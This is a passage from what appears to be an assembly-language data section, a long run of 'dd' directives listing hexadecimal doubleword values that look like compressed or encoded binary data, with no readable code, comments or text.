64CE0B40h, 0B3E022BDh dd 0D5490141h, 74446CDAh, 651848B0h, 89488644h, 0CD10F97Eh dd 71825AC2h, 18407968h, 0DE101AFh, 0DEEA8B7Eh, 0D05875E7h dd 2A648532h, 0E8F288E0h, 0F830B5F2h, 0C7FE0011h, 0C447BD10h dd 8A5D7D7Ah, 0C817218h, 9C0B9F18h, 0E59DC6B4h, 870F8030h dd 0E3FC229Ch, 266B590Dh, 0B8689849h, 0ECF0880h, 82017919h dd 0B2C31009h, 0E032A558h, 75018523h, 65F97917h, 9D800023h dd 0B58A177Dh, 0B6AAF000h, 923384A8h, 589E0FDFh, 8073E931h dd 0CE8E815Ch, 0A27B8C25h, 927635Ch, 3FC030EDh, 0C06D62DFh dd 28351E89h, 600073F4h, 0C436E4F0h, 0CE661h, 88632C05h dd 0C7AE16D0h, 4674F89Ch, 93E0005Dh, 2B6E1997h, 2DDE12FBh dd 0FF74038Eh, 0E048B40Bh, 0C927E04h, 6CD18499h, 592A3B18h dd 9403E4BFh, 6B20D63Eh, 72C9B8FDh, 3A5E004Fh, 38C1951Fh dd 5B386512h, 24F7A50Ah, 14980BA8h, 0C99C0880h, 0B4C495C6h dd 9C880840h, 18507356h, 0D1013A91h, 0C2C439CEh, 0C8696216h dd 0F88013h, 0C8BBC740h, 60965E14h, 85513809h, 90C84ECDh dd 0D95B4099h, 0E67E8A00h, 0C2F8E523h, 0F4BB5186h, 27968F0h dd 62E4C30Fh, 0EC4453C4h, 19F8C613h, 5605A023h, 4BF0D431h dd 0C5FA2628h, 49DA3302h, 9D0B99A3h, 896D11C8h, 0C2C80189h dd 8105633Eh, 29F87E34h, 86F51370h, 80E2E029h, 6B7E846Ch dd 91624A3h, 43A61678h, 0F4C43898h, 3454E8BAh, 148DE688h dd 9722807Ah, 58A04B7Eh, 1F07CEDAh, 32387C4Dh, 0F97D5E7Ch dd 0C54B4851h, 5C85D2Eh, 7466EE4h, 9F73FE30h, 86DD2A81h dd 18EC725Ch, 0C41870BAh, 58796126h, 182D7122h, 0CAC5154Fh dd 819C7463h, 0E6692461h, 0B0F18051h, 6CBA1FA1h, 0AFA32E2Eh dd 0A9B40924h, 0C1A1880Fh, 9970C562h, 45E87248h, 0C05F2816h dd 9DA0F409h, 80B11178h, 70B90E99h, 0EF421F2Dh, 20921283h dd 52D2693Ch, 3F2444B0h, 1EF42C59h, 196CAEC8h, 0B3B0B06Ah dd 59E8C8D9h, 81E88468h, 3C1A9C01h, 4136F13Ah, 0F8D4102Eh dd 0EE692F01h, 4F5CA179h, 682F5BF4h, 6F00B123h, 6378F1C7h dd 2050B8F0h, 38A1479Ah, 6F0D1151h, 4870C6E8h, 0B484CCB6h dd 0C84B05BCh, 570E1402h, 792C7188h, 0E4718B7h, 9C68325Eh dd 0B5F241C1h, 60DC5957h, 0C92F960h, 74D14C99h, 0CF00C218h dd 0C3514A3Eh, 98E695ACh, 21824548h, 841D13Ch, 38E1C5A7h dd 8DEC817Bh, 0AE2107BAh, 28B9A5A6h, 3ED16E1Eh, 0A758BFA4h dd 0B0918097h, 6FD79Ch, 4B688EACh, 0C4963790h, 807A64h dd 0F0D615B7h, 0D40D4865h, 3012258Fh, 47099800h, 3098EE7Ah dd 0B1D99E63h, 0C4490042h, 5D08E252h, 0C944DD8h, 7D048B1Fh dd 0F8C14189h, 8048B470h, 64BA484Eh, 30E1CA84h, 106B1F79h dd 0B17FEFD1h, 0DDE47192h, 696B00D6h, 12E189DFh, 0CA16A5D9h dd 5CC39ADCh, 8BFAC862h, 82894BF5h, 680AFB78h, 90518609h dd 805EF25Ch, 0DDFC19CDh, 2E9CAC55h, 0BD23602Fh, 0F473410Ah dd 45A9C809h, 0B5DD883Ch, 2C2C783h, 62883F7Bh, 0D48024Ah dd 0C0764E84h, 0C46E7F87h, 0B5A08810h, 82922566h, 0E6743414h dd 0AC313281h, 11DE9479h, 4CB01899h, 272C59h, 0B71108F6h dd 180E2895h, 67CAC900h, 0C748C547h, 176C927Dh, 0C2D69D79h dd 0D0C03B30h, 0C980F9C3h, 0EDB603A0h, 0F8629DB7h, 4564C150h dd 60B12E40h, 0E6E17149h, 0BC98EAF0h, 38A36492h, 38863580h dd 5867ED7Ch, 0DA59919h, 0B88820F0h, 5F67D78h, 2A8ADEE9h dd 21F0F2BDh, 46C20412h, 78A0186Dh, 0E00482F6h, 9C9A6071h dd 25C625B3h, 20E6416h, 6E9C82h, 29AB6781h, 85622A42h dd 68CB3184h, 72AE6BA8h, 3E8323B8h, 0F97B1782h, 0C74F5D5h dd 0F73BB50h, 52227C17h, 0AF50C6C2h, 637BA000h, 0C2E2095Bh dd 0EC50BD90h, 33B02000h, 8AF90B42h, 78BB4556h, 92069F30h dd 19182B4Eh, 0F0619FD7h, 99D180Eh, 0CDC6B29Ch, 0D60A0D9h dd 39799C85h, 0EC0419C7h, 0B8625FB6h, 89A11154h, 9C46CD13h dd 14835EE0h, 0C82C9238h, 0B085B26h, 0FCE84EBEh, 0F0BCF022h dd 739CFC04h, 817724F7h, 11204E93h, 3A96FD15h, 8C79A8h dd 1BA82D8h, 47D14F61h, 0C4E49C03h, 0B83457Ah, 66E55CE0h dd 1B7BD860h, 89E4F000h, 8AD17580h, 1709A26h, 6EBCED2Bh dd 2FE1DF4Bh, 77B0C821h, 716202C2h, 6CC20B04h, 88E4A5F3h dd 0E090A4F2h, 6D8DDF82h, 0C606474h, 27880830h, 0F866C22Fh dd 0E0D09B97h, 5301C421h, 1A4B2CC9h, 3C22B0D4h, 0E028F9E6h dd 44AE2208h, 0E7949851h, 7410536Fh, 0BA745018h, 9830A089h dd 0DC00FB8Eh, 0EF0CB91Fh, 50B03696h, 0C8C85C63h, 88DB4B85h dd 764FAFD4h, 58040835h, 0F502B7AEh, 905C5158h, 6A18F776h dd 0DFA2BE00h, 0F2A1A6CAh, 0EEAC1D71h, 634283CCh, 910EFCCFh dd 6116E138h, 0DEECC493h, 6900092Fh, 638944E5h, 101064FBh dd 844014CEh, 1B00BA72h, 81029AABh, 1CBB6228h, 0C054CC26h dd 67126864h, 40F084D0h, 37C09861h, 0F9B8A192h, 0C5EAC711h dd 79046582h, 48592D88h, 80BC2Ch, 9E2F1A03h, 0FA4EF422h dd 3C90E8E2h, 7DDBAD44h, 0DEEE1358h, 0D1A44F3Ch, 0FC9AC961h dd 0B0027ABh, 683FD57Bh, 415AE458h, 2FD2F151h, 6C980840h dd 98EBBFCFh, 2BCD10BCh, 8D5B8844h, 0F2D9EF7Bh, 0F2B900C1h dd 6DD1E871h, 6F052018h dd 870ADD41h, 4D388444h, 2EC9B000h, 355A5F17h, 0C4395CD0h dd 0D8566213h, 0E92FB11Ah, 9090D36Eh, 9BEF04B2h, 0E4ACFD29h dd 52D2C105h, 0F418916Eh, 4B00C2BBh, 4EC87707h, 0B0D498CCh dd 204E2881h, 9E058A11h, 6352DA9Ch, 0B2C8988Eh, 0C0E675C3h dd 3F64631Ah, 45A0958Ch, 8D9C8C5h, 7C45C413h, 341D61EAh dd 0BA58A027h, 0AF412Ah, 0B7D38BDCh, 0AD63D52h, 0C92B3F0Bh dd 4A5301CDh, 0B042CF98h, 80E076E6h, 165F639Bh, 28006BD2h dd 1B060205h, 0EC515E7Bh, 52CA0164h, 0D6D2C6C9h, 7A78816Ch dd 29A93253h, 8878E829h, 0DEEA89DDh, 0E414AB9Dh, 1B070080h dd 38253449h, 1D0F1F0Eh, 0E23D54AFh, 48D8DED1h, 5B8AE760h dd 8F8251Ah, 0E9C0862Ch, 633B724h, 2B6085E4h, 0BE0008D4h dd 0EC5C618Fh, 1ECE24E1h, 1F671EB9h, 118A00AAh, 644AA680h dd 0E2901400h, 0DA498B2Eh, 0E110C074h, 61FA6C3Dh, 0E0AAC61Fh dd 0C038605Bh, 153037Ch, 0B3F6E5BAh, 98EEDD65h, 9D217008h dd 0B85200FBh, 0CB8835C2h, 1B00105Ch, 0D72FEA32h, 6B24883h dd 92AF61F9h, 0AA76A093h, 61FBC00h, 0AE80BD19h, 8A56610h dd 0D20E21ABh, 80511FB4h, 0DD112F60h, 0E2340617h, 7964E19Eh dd 522BAE0Eh, 0AFF6416Ch, 0C88FACBBh, 84B544B6h, 24ECCA01h dd 58FC33BAh, 0EF88C194h, 93240EE4h, 0E720C9EEh, 45765567h dd 6B62B0C1h, 1810962Ah, 0D401CDF6h, 0F8156878h, 9C407D09h dd 2AE1EA91h, 0F1ACBE47h, 55638440h, 12B51881h, 9EAA488Fh dd 0B967E237h, 953783h, 4C5A4E59h, 19E4C6FFh, 48B17836h dd 77E52230h, 35316771h, 5F1A986Fh, 8156AC41h, 465A8107h dd 33D180BDh, 9382522Dh, 0E1EE3E97h, 644DB080h, 65621D35h dd 0E7B118C0h, 0CA79C93Fh, 38D8DF50h, 40647812h, 6DBA8114h dd 0D006EAEEh, 0A0E293CEh, 21796008h, 986DB2A7h, 0E5AC3E03h dd 694AA1h, 7134C8A9h, 24CDDAECh, 3680D3Ch, 605B8366h dd 4B150F9h, 0BA0F8CADh, 7019041Fh, 0C351D0E0h, 0CC9CDE01h dd 0EC6F7DD7h, 380FFBC4h, 2600286h, 95FF48B5h, 0A520553Fh dd 0CA05507h, 0ED4B762Eh, 0FC73061Dh, 129D83FFh, 9B0FC085h dd 8927032Fh, 0E91ECDBDh, 70723C22h, 0E857186Ah, 5F201103h dd 892DC372h, 2F917F7Ch, 4721801Ch, 8434C357h, 6B3E242Bh dd 0DF890EFEh, 9B6D8546h, 500F603Dh, 0D1058029h, 0B5FF61A4h dd 95C6111Fh, 0D8C2665h, 2B81BD8Bh, 5DE08D0Ch, 0EC99190Ch dd 1009B118h, 0B8FF430Dh, 28AF7EABh, 82747142h, 3E9A0811h dd 0D68B6601h, 4EA4106Ah, 894E3049h, 2F658DB5h, 8B08830Ch dd 843C3121h, 3D810822h, 8D0DEDCFh, 0E8BBC685h, 0F70574D1h dd 4FE94B8Eh, 6113A1Fh, 16C95E62h, 8A9C3A0Ch, 6155B504h dd 89C8C35Dh, 1A448C6Ch, 0C3550045h, 3AF40AC6h, 0F1183338h dd 601F11E9h, 825A0015h, 0B67AF512h, 18010226h, 0A3EDD65Fh dd 0C08F7740h, 5022C4F1h, 0C084BEB1h, 1435E69h, 512B98Dh dd 0BF0F59A6h, 61BF0DFBh, 5182E523h, 0DEFD8D69h, 23532B0Ah dd 5A0E52D6h, 548944C3h, 42201662h, 2984C352h, 80EB7999h dd 588832DBh, 4A385F5Ch, 0F892E45Bh, 1B662B98h, 721C47B9h dd 70362DA8h, 0FC0E7F64h, 0B43F2E94h, 79121423h, 0A0314A08h dd 41594585h, 50EA59Ch, 30F15605h, 22028562h, 4492CB8Ah dd 9D090AB0h, 7291917Ch, 46749F48h, 84E1001Bh, 1E77AA86h dd 89E3056Ch, 2229C19Dh, 0E827194Bh, 6710BACh, 5386AF4Fh dd 852462F0h, 5F81827Dh, 252D8D8Bh, 20104A46h, 0B60C2B71h dd 4780685Dh, 0DC46FB31h, 51033B2Bh, 1D2331D0h, 66B1089h dd 4A5A63B0h, 0B2BD9CC8h, 5B64E810h, 0F0FBF700h, 1A8D7A92h dd 25B2633h, 0D3B70379h, 27026859h, 85BD09C0h, 0B59EA21Ah dd 59CC98E5h, 20AAA413h, 604C1C0Dh, 8B610EC4h, 205D939Dh dd 0FFF883C4h, 0A0514D2h, 21B73881h, 2B53C241h, 18ED2044h dd 24C3725Bh, 70D45C89h, 0C3005343h, 933F8FF2h, 0CBCC130h dd 19DD9D31h, 8D2A0391h, 33A0B665h, 4BA10FC9h, 23C42BDh dd 84A93F61h, 59FC5179h, 243B20C0h, 0D0B5935Bh, 311106CBh dd 730214E9h, 395D2597h, 0F22A58C0h, 80F67700h, 0C58D8ABh dd 403E047Eh, 0C0D0FFB8h, 9C891D20h, 8E8A2262h, 6209071Eh dd 9DA00AF9h, 8B4BB5D0h, 8D2BC004h, 0ACC81CA1h, 751844A5h dd 45120962h, 1974201Ah, 38C45350h, 2293D8B8h, 115A2089h dd 0CE9D8D06h, 1566EBD7h, 22585BD3h, 20211788h, 30D4BDE2h dd 720DD8BAh, 7AF534ADh, 17A27F33h, 0E47DE530h, 416EC445h dd 0B509020Ch, 68ECA3BDh, 246B873Fh, 81400628h, 0A295B3E1h dd 2786D69h, 95D9C68h, 1F800EB7h, 5923E2E8h, 766D58C5h dd 885FA24h, 0B0A02EF1h, 0FB59C33Eh, 61ABE565h, 0E95F0D87h dd 291787F3h, 2F09D537h, 1252364Fh, 14234E3Bh, 92048613h dd 68023155h, 858C01FFh, 9412182h, 284E92Ah, 0E85F0A53h dd 91C4C522h, 9FBF4D11h, 673158D7h, 0B3631F69h, 59C55188h dd 4C898104h, 412EA9CEh, 0A72000BDh, 65871D82h, 0FDFD162Ch dd 7E4D853Bh, 58416061h, 0E2F3E87h, 0CB9C61h, 575E6B15h dd 5138C841h, 0BAB8100h, 0D45839Bh, 824D01FAh, 8A50613Bh dd 78C266E8h, 90B9D059h, 0ACD107CBh, 25B3319Bh, 81DC4D0Bh dd 29A60492h, 84C70F34h, 0BFCD2B4Dh, 0B5BDB200h, 20C09122h dd 73A8881Ch, 0A27D201h, 429D2A41h, 0F8BD234Bh, 39A22B98h dd 0C5E96317h, 50D963D2h, 0BE04F50Fh, 4ABA032Dh, 0F1016A16h dd 46254D95h, 8D0C0A76h, 951923BDh, 61336545h, 7A811E00h dd 3706E99Ah, 1881B4B8h, 0B25485Fh, 19798D16h, 1823B77Ah dd 0CCA58439h, 582946Eh, 0DF27200Fh, 0DC4879FDh, 896A0049h dd 0AC3E32A9h, 0F8CC12EAh, 47E3561h, 8BFB80F5h, 2D2272h dd 3A37B960h, 0B52318F8h, 0E99F559h, 2E78161h, 4C1A06B6h dd 0BEF54A85h, 0F879F040h, 7597E0B5h, 0E9591908h, 26FC1B0Ch dd 0DBB9008Eh, 5078660Ah, 0A94793B2h, 181AD19Ch, 92CE40Dh dd 7369D3AEh, 0C88B6730h, 292C5E93h, 0FB1D910Ah, 71478252h dd 17D69B35h, 21800F19h, 19D38BADh, 0CA94C8Ah, 0A4052F0h dd 0F183221Dh, 8DFFF6DCh, 49DEBF06h, 2BB62042h, 0C666807Eh dd 6631853Ch, 0C10AC01h, 7B08E830h, 0F75BA6h, 57FC4A36h dd 8195035Fh, 0AB201141h, 801CE685h, 557CEA80h, 48163F4Dh dd 5AC805BDh, 89C6B58Dh, 0D1379976h, 132F1818h, 4E3B23E4h dd 0D0D231ADh, 0EBD19D2Dh, 5E185689h, 8925C372h, 0E29674h dd 6DC35646h, 0E73E0FA2h, 627F690Bh, 22E60B51h, 4665BDFFh dd 138D25C5h, 2ED99CA2h, 3F38B00h, 1CA929BDh, 67974948h dd 0A0801D11h, 85B7BF75h, 50C4D203h, 0C966F2A7h, 9B702A2Ch dd 931F674Dh, 3D0D46D0h, 0DD6DA300h, 4C964442h, 899706E7h dd 86C8CA3Ch, 80CB7E95h, 81207C2h, 6AAC59E9h, 0C0897D76h dd 9A5F1CBh, 0D9B26276h, 0BCD9903Fh, 0BF5B057h, 8A0F5FFEh dd 0F0F12F98h, 6708B316h, 0F4BA0A30h, 7E440DEAh, 20A8DA26h dd 0E40D1B3h, 8FB0A050h, 18D8FAFFh, 7253CB8Ah, 88A82D59h dd 0FCE58903h, 0B0EB5043h, 2B4F2006h, 5B4A86ECh, 1C239A2Fh dd 2061220Eh, 12D040E6h, 333C0C2Bh, 9FD71BDh, 5499853Ah dd 0DD258DD3h, 9D50980Bh, 0B5B29C1Bh, 23853B93h, 3C1C0017h dd 35B902EFh, 459FDC14h, 31BA1E8Dh, 0C4606A49h, 0DE2B0054h dd 1F3710A5h, 0F068A907h dd 0F40987Eh, 0C550CFBFh, 422F959Eh, 2159BD57h, 0B32ADE08h dd 8EEEBF3Bh, 0B6863C3h, 0E5CE1118h, 258D2910h, 5309F7B2h dd 0C439BD0Bh, 1FE12721h, 2A0D66A2h, 1390C82h, 1CC78100h dd 79D926A8h, 88E8C57Dh, 2E078161h, 0F10A859Fh, 3CF64B60h dd 61290209h, 8F0FE49Eh, 5F936D71h, 13269767h, 0F128001Dh dd 9B408D7h, 0EB02FDB1h, 0CA30B62Ch, 0AE97464h, 0C793C984h dd 0BB8E8081h, 0B6035841h, 18408BC2h, 0DFC1060h, 8D53440Eh dd 90490A00h, 85B5179Ah, 363ECA8h, 69BEF85Ch, 4584860Fh dd 8BC3615Fh, 8E648C25h, 0C11B88BBh, 0F0EB35DFh, 0C02C7615h dd 6459DE12h, 8010E811h, 7FEE3B0Bh, 1D11511h, 7671FB26h dd 0D4306304h, 0E0B8341Dh, 5F800FF4h, 398C6F3Dh, 0D54B8325h dd 23613ACFh, 0B4020116h, 29950B9Bh, 2550728Ah, 68B18D2Fh dd 0A5065612h, 0B0851C81h, 0DEF002D7h, 983D1594h, 590348A4h dd 0FA356D30h, 76D4472Ch, 26C6D026h, 0F9B25CFh, 280687E9h dd 9AB18949h, 954148DCh, 0B1194D3Dh, 0B47C6ACh, 0B0BC6E1h dd 0A6D68B86h, 0C29C52Ch, 0A9470349h, 4CB74E0Dh, 80E92026h dd 3FEDE224h, 0C702C108h, 0A40E74F5h, 0D20BDBDh, 0A447F61Dh dd 52C86492h, 193C0901h, 5818505Bh, 8923C372h, 191144h dd 0A4C35040h, 135DC7F6h, 20E81813h, 927A495Bh, 5380C00h dd 0B23FCECCh, 0E95F1865h, 805223E8h, 14C5ABF8h, 9CC4F240h dd 4871FD0Bh, 9653C07Ch, 0C6EF4084h, 0AD291B3Bh, 0DDF9E259h dd 0DD1E3FEAh, 8C417221h, 73B621EDh, 3016A26Eh, 8D604503h dd 6D9D29B6h, 4DCA805h, 0DA39E102h, 4C0206BCh, 133A71F7h dd 0D3A3400Fh, 0A17C48B2h, 81295312h, 1708837Eh, 9B82E9AEh dd 4BF81272h, 0F599D42Bh, 0AEC4CA8Dh, 183EB231h, 0D364275Bh dd 816602D7h, 406051D9h, 619D2198h, 346A01EDh, 9BF13895h dd 161C502Ch, 0C2AD344Bh, 0F5AAC501h, 84AA3059h, 66800168h dd 0F6DB0B8Ch, 8C6304C3h, 0FEC61926h, 56012610h, 0A8B85268h dd 695E9B9Ch, 0BC781319h, 6A14213Ah, 108B6004h, 7D64BB83h dd 0BEBEC881h, 47012DA1h, 18AC9B68h, 43923CF6h, 0E1EF052h dd 0CF61684Fh, 7D10702Fh, 340CE534h, 18537DBAh, 1856286Ah dd 7553C085h, 68410175h, 0DB876498h, 0D0642A5Ah, 1C4C2CD7h dd 95E7A468h, 8BA02080h, 0F18BBE9Dh, 0E274045Bh, 8554ABC3h dd 64C71562h, 43D8E1F0h, 41B6960Ch, 3D21099Dh, 12C11132h dd 0B4026A8Ah, 0B5343253h, 17889192h, 6845506Dh, 0A5F79708h dd 16A13892h, 0D50267CCh, 75852E0Ch, 0C0663632h, 0A94EA1D1h dd 0A1620C19h, 154C3469h, 5A97BD4Ah, 1991656Fh, 5E235C04h dd 400DC988h, 0F80A5030h, 4E35FF64h, 79B50905h, 89F59CB1h dd 0FB33D165h, 0B93018E2h, 0C9CB0043h, 0FAB70FC0h, 0CE4C8B66h dd 2EB5179Dh, 84565533h, 0B3C059DEh, 49AFF823h, 5EDB4331h dd 0D2041B69h, 7292759h, 0E8BB35B9h, 81258D94h, 2FD7D880h dd 7DA545B4h, 94B9F5A0h, 3898F6CDh, 8023994Ch, 33DE60BAh dd 8D8B3EDBh, 0C00947EFh, 1C11E49Dh, 0E802D680h, 73095EEFh dd 51824AB4h, 68C000A3h, 3AF970EAh, 0B3A6CB03h, 0C07D91F5h dd 0E47E178Dh, 3F0F0240h, 8F640B07h, 7E9F80C4h, 714921C5h dd 50C1819h, 0C437CF6Bh, 0D934C127h, 0FB830115h, 44842C70h dd 0CA008117h, 39022C6Ch, 0AB29BD2Bh, 0E6F792B0h, 0DF134B1h dd 6D15C917h, 0C02B86Ch, 8B65A709h, 0C7190CBEh, 0FF23A481h dd 9983039Eh, 400415B8h, 5C8BC3CBh, 702E30D4h, 24815D88h dd 8A8C45EDh, 281B838Bh, 44FA4298h, 4FD05D0Ch, 2F511089h dd 888F0F13h, 0BB0ED771h, 0C067B3F3h, 0C5970BE1h, 8D0F2871h dd 0E18CEC12h, 2A3B3452h, 1C46747Dh, 0B6B44F00h, 0DA5B6BA8h dd 50E88702h, 4EA2D280h, 0D154A0ECh, 63EC9123h, 0B000AB9h dd 55D704B8h, 640548h, 0BB0DF781h, 8685D465h, 0B640BA0Ch dd 33EAE634h, 0ED0C5FE8h, 5868FBB8h, 75564D09h, 15C9820Ah dd 54010416h, 0F78AE14Ch, 0FC785D71h, 54276980h, 3D00F443h dd 8CC93F05h, 1EAD262Bh, 5ABEF1Bh, 0CF768860h, 43DC4E7h dd 820F521h, 0E4D84235h, 46D62038h, 756D48D4h, 0A12595E4h dd 8A492E19h, 47B78347h, 392E3101h, 0B7C230CDh, 78450001h dd 74706563h, 6E6F6907h, 66374920h, 616D7261h, 50010C47h dd 73E5656Ch, 40202CCCh, 0D7F37463h, 68AF8E9Fh, 1F731FBFh dd 59771F66h, 0F1641272h, 0F56CF976h, 73DBE770h, 0A26977D9h dd 76CD1D34h, 1C8D266Ch, 8E67676Eh, 0EB2E7340h, 0AF5F8F54h dd 0AF79AF6Bh, 0D0A6675h, 14CFF04h, 80706628h, 43076E73h dd 2B4C5254h, 28EBFB5Fh, 0F2466978h, 187ADB64h, 702A7BA6h dd 6C3C0879h, 0E262BF69h, 882964DAh, 561A4236h, 0FBA613DFh dd 0CE25FB3Dh, 0E843601Eh, 4E496B63h, 1C640FA9h, 5455234Fh dd 6F725087h, 0F211DFAh, 0F193B6Dh, 0B61AF304h, 850F1C3Dh dd 50A8BC1Eh, 1E18D18Eh, 0BD0BC2D4h, 0F4C6077Dh, 4A200141h dd 6ED248EDh, 570E5032h, 0C0A4EA12h, 0F9FD95F8h, 5F7C21F2h dd 861942ECh, 7613078Bh, 246B1628h, 65D668B0h, 1DCA685Fh dd 8A5125E9h, 597D230Eh, 0CA230E96h, 230E9E59h, 0E9A59E8h dd 8E59D123h, 59D9230Eh, 0E0210E92h, 0BD0C3052h, 0A2F2832Ch dd 6DF4FC64h, 0CA3A1148h, 69880D95h, 1185421Bh, 5A80229h dd 0C2810109h, 7C8065F8h, 958D8573h, 521807E2h, 0C3402834h dd 0D53BD42Ch, 0EB1A7509h, 400C44E5h, 9D8B8855h, 4CC313A8h dd 65291CBCh, 501011A3h, 54798A88h, 90879608h, 799A8858h dd 8A8E085Ch, 0DFADC94h, 6811AFADh, 5A49CD41h, 0C8920C90h dd 329A648Eh, 0C8A1996h, 0A848A86h, 0B81C9880h, 491007A4h dd 650E903h, 0D50A60D5h, 406A24C4h, 19A224CAh, 0BCE45B5Ah dd 73980125h, 603AC18Bh, 17C02FFCh, 811B91EBh, 0B03349BFh dd 12D0D860h, 0E2810FB7h, 20B90B04h, 90339F45h, 1ADAD30Eh dd 2E040EC4h, 8740BA4Bh, 431125E3h, 9D884A23h, 6F1C3E31h dd 6B1A8822h, 49100EAh, 47CFFB84h, 190395FEh, 592DEC9Eh dd 0A83A9561h, 0E6001923h, 6ABF6A0h, 6088A111h, 406C54C6h dd 994A9509h, 0E381574Fh, 0CF7861F8h, 0E6FAF80h, 1C1D9152h dd 0E88025BEh, 0C4977CCBh, 61F40E07h, 8A734B83h, 0F22D221Ah dd 0A826A006h, 7DA70FAh, 99C1815Ch, 0E9224082h, 7C97020Dh dd 79486039h, 7D00E471h, 0ACEA812Eh, 4F537E6Fh, 34BC05Eh dd 0DF028C07h, 0FC28B60h, 4017D482h, 66616BD2h, 4C7F712h dd 1DCC444h, 0DE815600h, 0A217F418h, 0CB9C5E0Ch, 80384485h dd 6455D525h, 9ABB0014h, 1850440h, 4E01D345h, 0EAF50205h dd 59EAADE9h, 1814D99Bh, 0F9F80B74h, 9064FF2Bh, 0D4A7C20Fh dd 3404921Dh, 0C68665C7h, 9548805Ch, 96091C53h, 371AC07Fh dd 7ED77729h, 1260E8E4h, 752B1125h, 0B7EC00C8h, 0C429D2A8h dd 4C0094A1h, 3214E11Dh, 0E25A59FBh, 0CB8B1C93h, 0BE767C50h dd 26994049h, 0C03E75B3h, 0F78D805Bh, 0A71312A8h, 0E5B7001Fh dd 0D0063FB9h, 0B1255E7Ah, 0CA6CB31Ch, 1685BC6h, 0B34EBE66h dd 506DE9h, 9B8ACE71h, 18696A60h, 26C48B64h, 0CD1C9AB7h dd 0F801EB01h, 5ACC8A57h, 0B693562Dh, 80F4E069h, 8A0F2539h dd 81027AB2h, 5F43C00Bh, 0FBBA40C4h, 48477E07h, 6EC06561h dd 0FC3159E7h, 0E5806401h, 15BD8DDBh, 85D154F2h, 0AC01B8CEh dd 0FFFA8260h, 0AC46E7h dd 6F55F49Bh, 53575014h, 0AB007379h, 0D7A5EF35h, 7DB8441Ch dd 138D9C7Fh, 0F808C10h, 140B604h, 0B008C8FEh, 212D4BAh dd 87135F4Eh, 15C8318Bh, 0C362CACFh, 8265C209h, 7B86DDBAh dd 0A856720Ah, 0D5835DA9h, 0D8863ECCh, 92915B9h, 0DA2A9865h dd 644F9D0h, 3CF20181h, 5A7D3283h, 88644B61h, 0C046C414h dd 39FCB979h, 1CB3A87Ah, 594F5BDAh, 0F6D20B0Eh, 17CB3C56h dd 0E1CBF3B7h, 96C016C8h, 9956339Eh, 17458003h, 9B2993C6h dd 8BBFD900h, 2831ED8Ch, 743E134Ah, 90DC133Fh, 562FB634h dd 30016E7Dh, 31FDE7C2h, 89445A5Eh, 0EBF0A3B5h, 7E8C9C18h dd 0E70BE932h, 8C6C4B60h, 3D10F8F7h, 0C2611467h, 0E6E9169Eh dd 20601C83h, 0F6420814h, 864F19ADh, 0F8E9C324h, 0B58B1821h dd 0E6818F75h, 18D6F0E0h, 0E82C9BE2h, 0C68142B4h, 3B1836FAh dd 0F3979B5h, 51E96E86h, 97D820C7h, 6FCF3622h, 8C665001h dd 0A0324C8h, 2A073D35h, 2F6457EBh, 20858B25h, 0A18863Eh dd 8257B0DBh, 3D238E67h, 0C624048Ch, 70D78ACFh, 0D2085C2Ch dd 50237D10h, 9C9001B5h, 0B5FFE48h, 48531CC0h, 0F68966C3h dd 209C5FCh, 953725Bh, 820E4CBAh, 0E0424314h, 5360BB22h dd 0E380CBEFh, 84C3CB03h, 7617B812h, 8189C79Dh, 1B5DFB0Ch dd 98A2E644h, 5789C591h, 8E18C706h, 33743452h, 0BD290123h dd 0A391A25Bh, 3E80600Bh, 40316BA4h, 3AB7A1BBh, 1B01C76h dd 60EEA6B1h, 2C88AACh, 332C339h, 0BAACBD1h, 14022D2h dd 0C90A4A19h, 2316E5D6h, 11D4DDF0h, 8B520B10h, 7A0302D4h dd 0E9E86108h, 80AA2140h, 8D58E13Fh, 0BC5A545Fh, 56513753h dd 0E9DB2132h, 0A04E4710h, 81D3D1D8h, 5ABCC306h, 0F3B03746h dd 0C80B49E8h, 8B81E897h, 5B595EC3h, 7B4D60D1h, 0AC8C836Ch dd 77AD2AEAh, 0E723C010h, 0FD4DF90h, 4A8D80Ch, 0D4A6293Ch dd 5AA81A48h, 60605925h, 0CE1E858Fh, 16CA8D21h, 22BD1F06h dd 0E938890Dh, 312F3F23h, 0F8408B26h, 0F30A1705h, 21899B46h dd 3C671448h, 1EB246FAh, 92308F33h, 8726AE27h, 41DF8A69h dd 4D207276h, 0B80C027Ah, 0A945CAB2h, 6395F4Ch, 0C8D10030h dd 0FF73B46h, 8DF15282h, 0A508EA40h, 284CEC28h, 56C128A5h dd 13215351h, 0C4A2C01h, 3C146726h, 0A22C92Dh, 34980400h dd 0C1D83213h, 1C0848C3h, 1C506757h, 5E59285Bh, 0A6988037h dd 0E1278469h, 0CE72A517h, 50FD0C4Fh, 0A86FF688h, 44E8142Ch dd 0FFBF6D0Fh, 618FD4C0h, 644C0684h, 2E9DCFCFh, 8DE0E032h dd 0FC339018h, 60592CADh, 0CB1763h, 61A6B36Fh, 0EEE9C181h dd 0F8E6E569h, 342922CCh, 0F05D0BFh, 61F038Ah, 1C8BF702h dd 10DCC139h, 5E3D4014h, 6A35DCC4h, 0F859EC02h, 4012B395h dd 0F63C90B8h, 0AFA60Dh, 0D8C9D30Eh, 0ADA8F896h, 0B8315D00h dd 8D51ECA2h, 0BFA6007Fh, 92F381BEh, 757FE97Bh, 0E333C678h dd 0C8DA5260h, 0CC8961DDh, 0D1DCF890h, 2EF8318h, 71A354E2h dd 0B10F7C4Fh, 0E252162Dh, 15C4003Eh, 58C2F396h, 46F407B6h dd 37C7BC73h, 0BD45B0EFh, 810B5EBEh, 259A58FFh, 1F1F8564h dd 0AEE6C200h, 61E96F8Eh, 0D5951736h, 0E393C0F7h, 810FE70Eh dd 0C981614h, 0E8110008h, 693B5CD4h, 0AE009E4Bh, 8E6A9FCDh dd 924CE915h, 1FA17124h, 405E748Fh, 8169C1C7h, 0CB009293h dd 0F3DD5ABEh, 28DE61ABh, 3004B524h, 7E116278h, 6000A65Ah dd 2AB74892h, 7798EA47h, 0A18D00DAh, 3791C678h, 0F03E154Ah dd 93C503ACh, 78CE602Ch, 8ECF0040h, 0ADE21A31h, 6E6EFE2Fh dd 0D120E328h, 24400593h, 0CAE5A6h, 5EB47238h, 0B1603534h dd 0A3CB8520h, 0B52703DAh, 0C07A44F6h, 4F140BC0h, 2A57D800h dd 82C99C6Bh, 7FD7072Bh, 0E058D073h, 0F1FA56B9h, 0ADF42F00h dd 122B8ECDh, 79328C8h, 51F76044h, 62A94F03h, 0EEC331DCh dd 3B77938h, 727AD80h, 0D8AB0DC0h, 0F6AC1820h, 0D2F92Fh dd 8F5D4897h, 4D5B80h, 0C0B585A9h, 